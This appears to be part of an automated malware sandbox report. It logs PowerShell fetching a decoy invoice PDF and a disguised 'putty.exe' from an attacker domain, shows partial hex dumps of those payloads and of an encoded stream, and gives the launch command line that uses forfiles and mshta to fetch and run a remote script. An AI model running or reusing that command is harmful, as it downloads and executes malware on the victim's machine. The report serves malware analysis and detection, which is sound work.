2024-07-02 10:47:22 UTC	16384	IN	Data Raw: 63 57 2c 71 65 2c 47 49 2c 47 49 2c 52 4e 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 6e 46 2c 71 65 2c 47 49 2c 47 49 2c 52 4e 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 6e 46 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 4d 54 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 7a 70 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 7a 70 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 45 47 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 6e 46 2c 71 65 2c 47 49 2c 47 49 2c 56 4c 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 7a 70 2c 71 65 2c 47 49 2c 47 49 2c 56 4c 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 7a 70 2c 71 65 2c 57 57 2c 45 47 2c 45 47 2c 7a 70 2c 71 65 2c 57 57 2c 45 47 2c 57 57 2c 56 4c 2c 71 65 2c 47 49 2c 47 49 2c 63 57 2c 71 65 2c 47 49 2c 47 49 2c 52 4e 2c 71 65 2c 47 49 2c 47 49 2c 65 48 2c 71 65 2c Data Ascii: cW,qe,GI,GI,RN,qe,WW,EG,EG,nF,qe,GI,GI,RN,qe,WW,EG,WW,nF,qe,WW,EG,WW,MT,qe,WW,EG,WW,zp,qe,WW,EG,EG,zp,qe,WW,EG,EG,EG,qe,WW,EG,EG,nF,qe,GI,GI,VL,qe,WW,EG,EG,zp,qe,GI,GI,VL,qe,WW,EG,EG,zp,qe,WW,EG,EG,zp,qe,WW,EG,WW,VL,qe,GI,GI,cW,qe,GI,GI,RN,qe,GI,GI,eH,qe,
2024-07-02 10:47:22 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-07-02 10:47:22 UTC	16384	IN	Data Raw: 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 80 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 0d 00 00 00 1d 00 00 00 32 00 00 00 43 00 00 00 50 00 00 00 59 00 00 00 5d 00 00 00 59 00 00 00 50 00 00 00 43 00 00 00 32 00 00 00 1d 00 00 00 0d 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 06 00 00 00 18 15 0a 00 3f 3a 1b 00 89 49 22 00 bc 54 27 00 dd 5b 2a 00 f3 60 2c 00 fe 5b 2a 00 f3 53 26 00 e0 46 20 00 c4 32 17 00 9f 0c 06 00 6d 00 00 00 50 00 00 00 Data Ascii: @ 2CPY]YPC2?:I"T'[`,[S&F 2mP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	5.188.88.146	443	4620	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 10:47:25 UTC	96	OUT	GET /cdnusa/upsinvoice.pdf HTTP/1.1 Host: nebulaquestcorporation.cc Connection: Keep-Alive
2024-07-02 10:47:25 UTC	310	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 02 Jul 2024 10:47:25 GMT Content-Type: application/pdf Content-Length: 93556 Last-Modified: Wed, 12 Jun 2024 12:17:52 GMT Connection: close ETag: "666991f0-16d74" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-07-02 10:47:25 UTC	16074	IN	Data Raw: 25 50 44 46 2d 31 2e 35 0d 0a 25 b5 b5 b5 b5 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 20 32 20 30 20 52 2f 4c 61 6e 67 28 65 6e 2d 55 53 29 20 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 31 33 20 30 20 52 2f 4d 61 72 6b 49 6e 66 6f 3c 3c 2f 4d 61 72 6b 65 64 20 74 72 75 65 3e 3e 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 73 2f 43 6f 75 6e 74 20 31 2f 4b 69 64 73 5b 20 33 20 30 20 52 5d 20 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 33 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 2f 50 61 72 65 6e 74 20 32 20 30 20 52 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 46 6f 6e 74 3c 3c 2f 46 31 20 35 20 30 20 52 2f 46 32 20 38 20 30 20 52 2f 46 33 Data Ascii: %PDF-1.5%1 0 obj<</Type/Catalog/Pages 2 0 R/Lang(en-US) /StructTreeRoot 13 0 R/MarkInfo<</Marked true>>>>endobj2 0 obj<</Type/Pages/Count 1/Kids[ 3 0 R] >>endobj3 0 obj<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 8 0 R/F3
2024-07-02 10:47:25 UTC	16384	IN	Data Raw: 8e 33 80 e3 0c e0 38 03 38 ce 00 8e 33 80 e3 0c e0 38 03 38 ce 00 8e 33 80 e3 0c e0 38 03 38 ce 00 8e 33 80 e3 0c e0 38 03 38 ce 00 8e 33 80 e3 0c e0 38 03 38 f6 3f c7 fe e7 d8 ff 1c 7b 9f 63 ef 73 ec 7d 8e bd cf b1 f7 39 f6 3e c7 de e7 d8 fb 1c 7b 9f 63 ef ff d0 e7 f0 7f 78 aa fe a1 1b f0 1f 9e 32 d7 ac 66 cc 74 2d 63 47 2e 39 e6 5b d9 8b d9 29 ac 9d 75 e1 39 87 9d cf 2e 61 8f b2 37 58 2d db 0a b5 93 ed 62 37 b3 5b 59 94 3d c6 7e c6 5e fd 67 7e 15 fc c8 06 43 33 b3 eb ee 63 46 36 80 b1 de 43 bd 07 8f dc 0c f4 18 92 fa 59 2e 41 6e 80 5e 3d 6a e9 75 f6 7e 78 9c ed c3 23 97 f4 3a 8f f4 18 53 99 55 ab eb 50 5e 86 f5 13 7e b8 f7 10 7e be 22 df 3b 49 e4 95 73 a1 93 b5 1a 1f 9b ae 3d 72 d7 91 5b 8e 1b 83 25 6c 05 5b c9 56 b1 93 59 0d f3 a3 ff 75 ac 91 85 30 32 Data Ascii: 388388388388388?{cs}9>{cx2ft-cG.9[)u9.a7X-b7[Y=~^g~C3cF6CY.An^=ju~x#:SUP^~~";Is=r[%l[VYu02
2024-07-02 10:47:26 UTC	16384	IN	Data Raw: 17 bd be 4b b6 6b a5 d1 77 d1 15 31 4d be 4b 76 eb 92 dd ba 64 b7 2e ba 7b 17 dd bd 4b 66 eb 92 d9 ba e8 8e 58 66 6b a5 3d 62 99 a6 4b a6 e9 92 5d ba a2 2a b9 7c b7 91 3c 20 77 c7 72 76 51 d7 6d d0 6b 6c 05 1f b1 82 8f 94 a2 4a 95 6c df 99 e8 2b 92 7c 28 b4 99 41 8b a7 da 12 1f 8b 7a 8b 30 6a 9e e8 64 fd e4 a3 a4 76 d6 69 a7 f8 9d eb ae e2 0c cc 38 5b fa 06 a1 b5 f8 3c 4b f4 b5 9f 3e 16 76 b9 5e fc 56 d6 13 de 5b 13 1d ec ac 38 fb 4e b3 ef 34 fb ce d2 cc 2f a2 15 2e 0d cb de 37 f3 4e 33 ef 2c cd ba ce b1 1e 4b d1 88 26 98 9d 99 75 9a 59 a7 99 75 46 47 ea 6d 31 fb ee 60 df 15 ec bb e2 fd 95 b9 be db f4 b2 9e 6d 77 e8 61 bd 1e d6 ff 5b 35 fe 74 e9 1b bf f5 6c bb 83 6d 57 b0 ed 8e bf ab d0 57 38 cf 97 be 05 2c 55 ea 6c bb 42 ef eb d9 76 c5 fb ab f5 a8 cc cc Data Ascii: Kkw1MKvd.{KfXfk=bK]*\|< wrvQmklJl+\|(Az0jdvi8[<K>v^V[8N4/.7N3,K&uYuFGm1`mwa[5tlmWW8,UlBv
2024-07-02 10:47:26 UTC	16384	IN	Data Raw: f0 36 5d 69 99 16 52 c0 b4 28 6a 99 16 42 30 2d 84 60 5a 08 c1 b4 10 ae 0f b6 d3 85 c1 8e 60 07 6a d9 19 ec 44 39 60 5d 54 cd b2 2e c4 4d 60 ec ff de 8a 10 5d 1a 61 11 46 19 96 81 51 31 30 30 85 30 88 04 54 2b 82 8d aa 45 a2 91 28 e2 3a 92 88 30 29 82 f1 37 92 1c 49 a6 da 91 42 91 14 a4 a4 46 52 a9 7e 24 2d 92 46 e7 46 0a 47 0a 53 83 48 91 48 51 a4 67 44 32 a8 66 24 33 92 49 67 45 8a 45 8a 21 5e 3c 52 1c b5 94 88 94 c0 d5 92 91 92 48 01 b7 43 1c dc 0e 2d 01 b7 43 08 6e 87 10 dc 0e 21 b8 1d 42 70 3b 84 e0 76 08 c1 ed 10 82 db 21 04 b7 43 08 6e 87 10 dc 8e a2 96 db d1 85 e0 76 d7 53 72 f4 86 e8 0d 24 a3 37 46 6f 44 fc a6 e8 4d 88 df 1c bd 19 f1 5b a2 4d 29 cd 32 3f a4 f4 8c 8e 21 1e 7d 23 fa 0e e2 e0 7f 88 83 ff 41 06 fc 0f 32 fb 13 18 f1 04 9e 90 49 17 5b Data Ascii: 6]iR(jB0-`Z`jD9`]T.M`]aFQ1000T+E(:0)7IBFR~$-FFGSHHQgD2f$3IgEE!^<RHC-Cn!Bp;v!CnvSr$7FoDM[M)2?!}#A2I[
2024-07-02 10:47:26 UTC	16384	IN	Data Raw: bf 05 fd 6c f0 e7 81 7b 81 ef 40 ff a2 5a 42 9a 0e f3 bf 11 7f 9d e3 d6 68 31 bf 47 7c 0b cb 0d c5 e6 5a c2 b3 2a 45 82 31 8d 75 94 8b e6 f9 84 ff c5 68 38 2f 25 84 a6 5c d8 49 03 a6 e3 59 1d b8 0c d8 5d bd 85 bb cf 11 ff 01 a3 f1 34 f8 1a e0 61 e0 cb 6a 11 cf 91 e5 22 70 3b b0 0a 58 01 6c 62 ec d0 83 de 35 44 cc 20 34 5f b2 f0 6f a8 14 83 1f 09 ec 2c b1 0a 58 01 e4 67 bb 43 73 1f ee 6e 81 e4 24 24 65 90 ac 13 f3 ce 3c e1 76 60 15 b0 02 d8 04 64 fd b1 d0 9c 8b a7 14 81 e6 57 38 2a c0 bf 8c 9e 6f 04 5f 0d dc 28 25 55 c0 0a 60 13 30 9f c6 b2 c7 5c 81 28 f2 33 e2 ed 27 80 57 f0 ec 32 89 db 81 55 c0 0a 20 5b 58 06 6f fc 9c 75 4c ab 80 3f 47 9f af 00 eb 61 a7 9e fb 6c b8 68 3e 44 78 15 78 d1 fc 1a 30 02 9c 06 44 24 98 1b c9 42 77 cc d7 75 68 d6 03 2f 48 9c 8f Data Ascii: l{@ZBh1G\|ZE1uh8/%\IY]4aj"p;Xlb5D 4_o,XgCsn$$e<v`dW8o_(%U`0\(3'W2U [XouL?Galh>Dxx0D$Bwuh/H
2024-07-02 10:47:26 UTC	11946	IN	Data Raw: 8e e6 24 9c 02 c7 b0 b5 ec 07 f6 23 fb 89 fd cc d6 b1 f5 52 0c 7b d2 59 d2 d9 d2 39 d2 5c e9 5c e9 3c e9 7c e9 02 e9 42 e9 4e 69 b1 b4 44 ba 4b ba 5b ba 47 ba 57 5a 2a dd 27 bd 22 bd 26 bd 21 bd 29 bd 2d bd 2b fd 5d fa 40 fa 48 fa 44 fa 4c fa 42 fa 4a a6 20 63 64 8a 32 56 26 95 c9 64 4a 32 4e a6 2c b3 92 59 cb 6c 64 b6 32 3b 19 2f 93 cb ec 65 0e 32 47 99 93 cc 59 e6 22 73 95 b9 c9 dc 65 1e b2 96 b2 56 32 4f 59 6b 59 1b 99 97 cc 5b e6 23 f3 95 f9 71 32 4e 89 e3 38 35 4e 9d d3 e0 de 73 b5 dc 07 4e 8f d3 e7 84 79 50 33 12 79 22 12 6d d2 98 75 75 c0 3e 2d 81 4a c4 cc 21 0d 47 95 32 6a 14 8e 2a 95 c8 ba 59 8e c4 90 ca 24 32 54 21 e3 bf aa a2 2d a2 2d 48 4d b2 49 b2 19 a9 4b 8a 25 c5 48 53 f2 4e f2 0e 73 46 1c 2f 21 2d 21 5e c2 dc ea 06 7b 0f 59 08 51 13 66 52 Data Ascii: $#R{Y9\\<\|BNiDK[GWZ'"&!)-+]@HDLBJ cd2V&dJ2N,Yld2;/e2GY"seV2OYkY[#q2N85NsNyP3y"muu>-J!G2jY$2T!--HMIK%HSNsF/!-!^{YQfR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	5.188.88.146	443	4620	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 10:47:27 UTC	67	OUT	GET /cdnusa/putty.exe HTTP/1.1 Host: nebulaquestcorporation.cc
2024-07-02 10:47:27 UTC	322	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 02 Jul 2024 10:47:27 GMT Content-Type: application/octet-stream Content-Length: 1663264 Last-Modified: Mon, 20 May 2024 14:16:58 GMT Connection: close ETag: "664b5b5a-196120" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-07-02 10:47:27 UTC	16062	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 bf 1a 11 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 82 0e 00 00 84 0a 00 00 00 00 00 04 af 0b 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 19 00 00 04 00 00 71 20 1a 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEdf"@q `
2024-07-02 10:47:27 UTC	16384	IN	Data Raw: f1 e8 8c 47 01 00 01 c5 48 8d 84 24 a0 00 00 00 29 c5 e9 3a f6 ff ff 0f 1f 00 4f ec ff ff 72 c8 ff ff ef ce ff ff ae d3 ff ff 3f ce ff ff ae d3 ff ff 10 cf ff ff c4 cf ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ff d0 ff ff 58 d0 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff 1d d0 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae d3 ff ff ae Data Ascii: GH$):Or?X
2024-07-02 10:47:27 UTC	16384	IN	Data Raw: 1f 00 48 83 c6 01 48 81 fe 06 01 00 00 74 33 83 bc b4 30 01 00 00 00 74 e9 48 8b 05 1a 40 12 00 0f b6 4c b0 06 44 0f b6 4c b0 05 44 0f b6 44 b0 04 89 4c 24 20 4c 89 e1 48 89 fa e8 b2 a4 03 00 eb c0 48 85 ed 74 4f 48 89 e9 31 d2 e8 61 c7 03 00 48 85 c0 74 40 bf 01 00 00 00 48 8d 1d 92 94 10 00 8b 40 04 0f b6 f4 44 0f b6 c0 c1 e8 10 0f b6 c0 89 44 24 20 4c 89 e1 48 89 da 41 89 f1 e8 6e a4 03 00 48 89 e9 89 fa e8 24 c7 03 00 83 c7 01 48 85 c0 75 cc 48 89 6c 24 58 48 8d 05 ad b4 0f 00 48 89 84 24 08 01 00 00 48 c7 84 24 10 01 00 00 01 00 00 00 48 8d 94 24 08 01 00 00 4c 89 e1 e8 7c 9f 03 00 48 8b 7c 24 78 83 7c 24 54 00 0f 8e d8 05 00 00 83 bc 24 88 00 00 00 00 0f 8e ca 05 00 00 31 ed 0f 57 f6 45 31 ed c7 44 24 6c ff ff ff ff c7 44 24 68 ff ff ff ff c7 84 24 Data Ascii: HHt30tH@LDLDDL$ LHHtOH1aHt@H@DD$ LHAnH$HuHl$XHH$H$H$L\|H\|$x\|$T$1WE1D$lD$h$
2024-07-02 10:47:27 UTC	16384	IN	Data Raw: c1 48 83 c4 28 5f 5e e9 66 48 00 00 cc cc cc cc cc cc 41 57 41 56 41 55 41 54 56 57 55 53 b8 48 10 00 00 e8 aa de 0a 00 48 29 c4 48 89 d7 48 89 ce 48 8b 05 5a e5 11 00 48 31 e0 48 89 84 24 40 10 00 00 8b 1d 11 d7 0d 00 89 d9 e8 a2 a3 02 00 89 d9 e8 0b a4 02 00 48 89 c3 31 c9 e8 a1 a3 02 00 48 85 db 74 0b 8b 8b a4 00 00 00 e8 91 a3 02 00 48 89 f1 ba 83 00 00 00 45 31 c0 e8 41 50 03 00 31 c9 48 89 f2 e8 27 c5 02 00 48 89 f9 e8 2f a1 ff ff 48 89 c3 48 89 c1 48 89 f2 e8 91 a1 ff ff 84 c0 74 1f 48 89 f1 e8 65 5a 03 00 84 c0 75 22 48 89 f1 e8 d9 5e 01 00 84 c0 75 16 31 c9 e8 4e a0 ff ff 48 89 d9 48 89 f2 e8 13 a2 ff ff 84 c0 74 1b 48 89 f1 e8 c7 a1 02 00 48 83 3d af 07 12 00 00 0f 85 9d 02 00 00 e9 c6 02 00 00 80 3b 00 74 3b 31 db 48 8d 54 24 3c 4c 8d 44 24 30 Data Ascii: H(_^fHAWAVAUATVWUSHH)HHHZH1H$@H1HtHE1AP1H'H/HHHtHeZu"H^u1NHHtHH=;t;1HT$<LD$0
2024-07-02 10:47:27 UTC	16384	IN	Data Raw: 08 12 00 00 00 0f 11 b6 74 21 00 00 c6 86 84 21 00 00 00 e8 3a eb 00 00 48 89 86 10 12 00 00 48 89 f1 31 d2 e8 19 00 00 00 48 89 f0 0f 28 74 24 20 48 83 c4 38 5b 5f 5e 41 5e c3 cc cc cc cc cc cc cc 41 56 56 57 55 53 48 81 ec 40 01 00 00 66 44 0f 7f bc 24 30 01 00 00 44 0f 29 b4 24 20 01 00 00 66 44 0f 7f ac 24 10 01 00 00 66 44 0f 7f a4 24 00 01 00 00 44 0f 29 9c 24 f0 00 00 00 66 44 0f 7f 94 24 e0 00 00 00 66 44 0f 7f 8c 24 d0 00 00 00 44 0f 29 84 24 c0 00 00 00 0f 29 bc 24 b0 00 00 00 0f 29 b4 24 a0 00 00 00 41 89 d6 48 89 ce 48 81 c1 2a 15 00 00 41 b8 06 01 00 00 b2 01 e8 8c b7 0a 00 48 8d 1d 45 97 0d 00 31 ff 0f 1f 00 48 63 2b 48 8b 8e e8 10 00 00 ba 96 00 00 00 41 89 f8 e8 79 08 03 00 48 8d 6c 6d 00 88 84 2e 18 12 00 00 48 8b 8e e8 10 00 00 44 8d 47 Data Ascii: t!!:HH1H(t$ H8[_^A^AVVWUSH@fD$0D)$ fD$fD$D)$fD$fD$D)$)$)$AHH*AHE1Hc+HAyHlm.HDG
2024-07-02 10:47:27 UTC	16384	IN	Data Raw: 54 24 47 48 8d a9 a0 00 00 00 4c 8d a1 20 01 00 00 48 8d 81 78 0e 00 00 48 89 44 24 30 48 8d 81 0c 01 00 00 48 89 84 24 a0 00 00 00 48 8d 81 88 0e 00 00 48 89 44 24 68 48 8d 41 40 48 89 84 24 98 00 00 00 48 8d 81 8c 00 00 00 48 89 44 24 58 48 8d 41 60 48 89 44 24 38 48 8d 41 78 48 89 44 24 60 4c 8d b1 6a 0a 00 00 0f 57 f6 31 f6 31 ff 31 c0 48 89 84 24 80 00 00 00 eb 11 66 0f 1f 44 00 00 41 c7 87 1c 01 00 00 00 00 00 00 41 bd ff ff ff ff 48 39 f7 72 17 41 83 fd ff 75 11 48 89 e9 e8 ac ff 01 00 48 85 c0 0f 84 f5 36 00 00 41 83 fd ff 74 0d 44 89 ac 24 ac 00 00 00 e9 b0 00 00 00 41 83 bf a8 21 00 00 00 0f 85 d4 36 00 00 48 39 f7 75 5b 48 89 e9 48 89 f2 e8 12 5a 03 00 48 89 e9 e8 6a ff 01 00 48 85 c0 0f 84 b1 36 00 00 48 8d 8c 24 b0 00 00 00 48 89 ea e8 c1 5a Data Ascii: T$GHL HxHD$0HH$HHD$hHA@H$HHD$XHA`HD$8HAxHD$`LjW111H$fDAAH9rAuHH6AtD$A!6H9u[HHZHjH6H$HZ
2024-07-02 10:47:27 UTC	16384	IN	Data Raw: ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 58 ed ff ff 28 e3 ff ff 9a e3 ff ff 58 ed ff ff 58 ed ff ff 1e e4 ff ff c8 Data Ascii: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX(XX
2024-07-02 10:47:27 UTC	16384	IN	Data Raw: 8d 00 00 00 80 7e 20 00 0f 84 13 01 00 00 41 83 fc 01 0f 85 2c 01 00 00 41 f7 c7 00 00 40 00 75 19 48 8d 0d aa 11 10 00 48 8d 15 e5 e8 0f 00 41 b8 87 17 00 00 e8 b4 ed 0a 00 c7 44 24 4c 20 00 20 00 0f b7 06 8b 53 7c 48 8b 8b c8 10 00 00 48 8b ab 80 00 00 00 48 8b 31 48 89 6c 24 38 89 44 24 30 89 54 24 28 c7 44 24 20 02 00 00 00 4c 8d 4c 24 4c 44 89 ea 45 89 f0 ff 56 08 48 8b 8b c8 10 00 00 48 8b 01 44 89 ea 45 89 f0 ff 50 18 eb 71 48 8b 94 24 d8 00 00 00 0f b7 06 48 8b 8b c8 10 00 00 48 8b 39 48 89 54 24 38 89 44 24 30 44 89 7c 24 28 44 89 64 24 20 44 89 ea 45 89 f0 49 89 e9 ff 57 08 41 f7 c7 00 00 00 60 74 34 0f b7 06 48 8b 8b c8 10 00 00 48 8b 19 48 8b 94 24 d8 00 00 00 48 89 54 24 38 89 44 24 30 44 89 7c 24 28 44 89 64 24 20 44 89 ea 45 89 f0 49 89 e9 Data Ascii: ~ A,A@uHHAD$L S\|HHH1Hl$8D$0T$(D$ LL$LDEVHHDEPqH$HH9HT$8D$0D\|$(Dd$ DEIWA`t4HHH$HT$8D$0D\|$(Dd$ DEI
2024-07-02 10:47:27 UTC	16384	IN	Data Raw: 19 90 41 0f b6 8f 78 04 00 00 49 8b 6f 18 88 4c 05 ff 40 b5 01 48 85 db 74 4a 48 89 d8 48 83 c3 ff 49 8b 4f 10 8b 4c 81 fc bf 01 00 00 00 d3 e7 0f a3 ca 72 cd 40 f6 c5 01 74 da f7 c7 08 0d 20 00 74 12 41 0f b6 8f 78 04 00 00 49 8b 7f 18 88 4c 07 ff eb c0 81 e7 c6 02 04 00 40 0f b6 ed 0f 44 ef eb b1 4d 8b 03 4d 85 c0 0f 84 2a 04 00 00 49 8b 47 10 8b 00 b9 c6 02 04 00 0f a3 c1 73 11 49 8b 47 18 41 8a 8f 78 04 00 00 88 08 4d 8b 47 50 49 83 f8 02 72 42 b8 01 00 00 00 b9 c6 02 04 00 eb 18 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 83 c0 01 4c 39 c0 73 1e 49 8b 57 10 8b 14 82 0f a3 d1 73 eb 49 8b 57 18 0f b6 5c 02 ff 88 1c 02 4d 8b 47 50 eb d9 4d 85 c0 0f 84 b8 03 00 00 31 c9 48 8d 15 87 e3 0c 00 eb 14 0f 1f 44 00 00 41 89 28 4d 8b 03 48 83 c1 01 4c 39 c1 Data Ascii: AxIoL@HtJHHIOLr@t tAxIL@DMM*IGsIGAxMGPIrBf.DHL9sIWsIW\MGPM1HDA(MHL9
2024-07-02 10:47:27 UTC	16384	IN	Data Raw: 8b 84 24 a0 00 00 00 48 8b 0d 84 65 10 00 48 31 e1 48 89 4c 24 58 41 83 f8 52 7f 29 41 83 f8 05 74 63 41 83 f8 10 0f 85 e0 00 00 00 48 89 f1 e8 6e 8a fe ff 31 ff 48 89 f1 31 d2 e8 02 03 03 00 e9 af 00 00 00 41 83 f8 53 0f 84 8c 00 00 00 41 81 f8 02 02 00 00 0f 85 b0 00 00 00 ff 15 28 0d 10 00 80 bf 10 01 00 00 00 0f 84 83 00 00 00 31 d2 83 bf 14 01 00 00 00 0f 95 c2 48 89 f1 e8 bf 02 03 00 eb 6d 49 83 f9 02 75 67 80 3d 60 88 10 00 00 75 5e c6 05 57 88 10 00 01 c7 44 24 28 2c 00 00 00 48 8d 54 24 28 48 89 f1 ff 15 d9 0b 10 00 85 c0 74 1d 83 7c 24 30 03 75 16 c7 44 24 30 01 00 00 00 48 8d 54 24 28 48 89 f1 ff 15 48 0d 10 00 c6 05 19 88 10 00 00 eb 17 44 8b 40 08 48 83 c7 08 48 89 f9 48 89 f2 e8 04 49 00 00 84 c0 74 64 31 ff 48 8b 4c 24 58 48 31 e1 e8 31 5e Data Ascii: $HeH1HL$XAR)AtcAHn1H1ASA(1HmIug=`u^WD$(,HT$(Ht\|$0uD$0HT$(HHD@HHHItd1HL$XH11^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49723	104.77.220.172	443	7540	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 10:47:40 UTC	475	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br If-None-Match: "78-5faa31cce96da" If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
2024-07-02 10:47:40 UTC	198	IN	HTTP/1.1 304 Not Modified Content-Type: text/plain; charset=UTF-8 Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Date: Tue, 02 Jul 2024 10:47:40 GMT Connection: close

Target ID:	1
Start time:	06:47:16
Start date:	02/07/2024
Path:	C:\Windows\System32\forfiles.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage"
Imagebase:	0x7ff7b19d0000
File size:	52'224 bytes
MD5 hash:	9BB67AEA5E26CB136F23F29CC48D6B9E
Has elevated privileges:	true
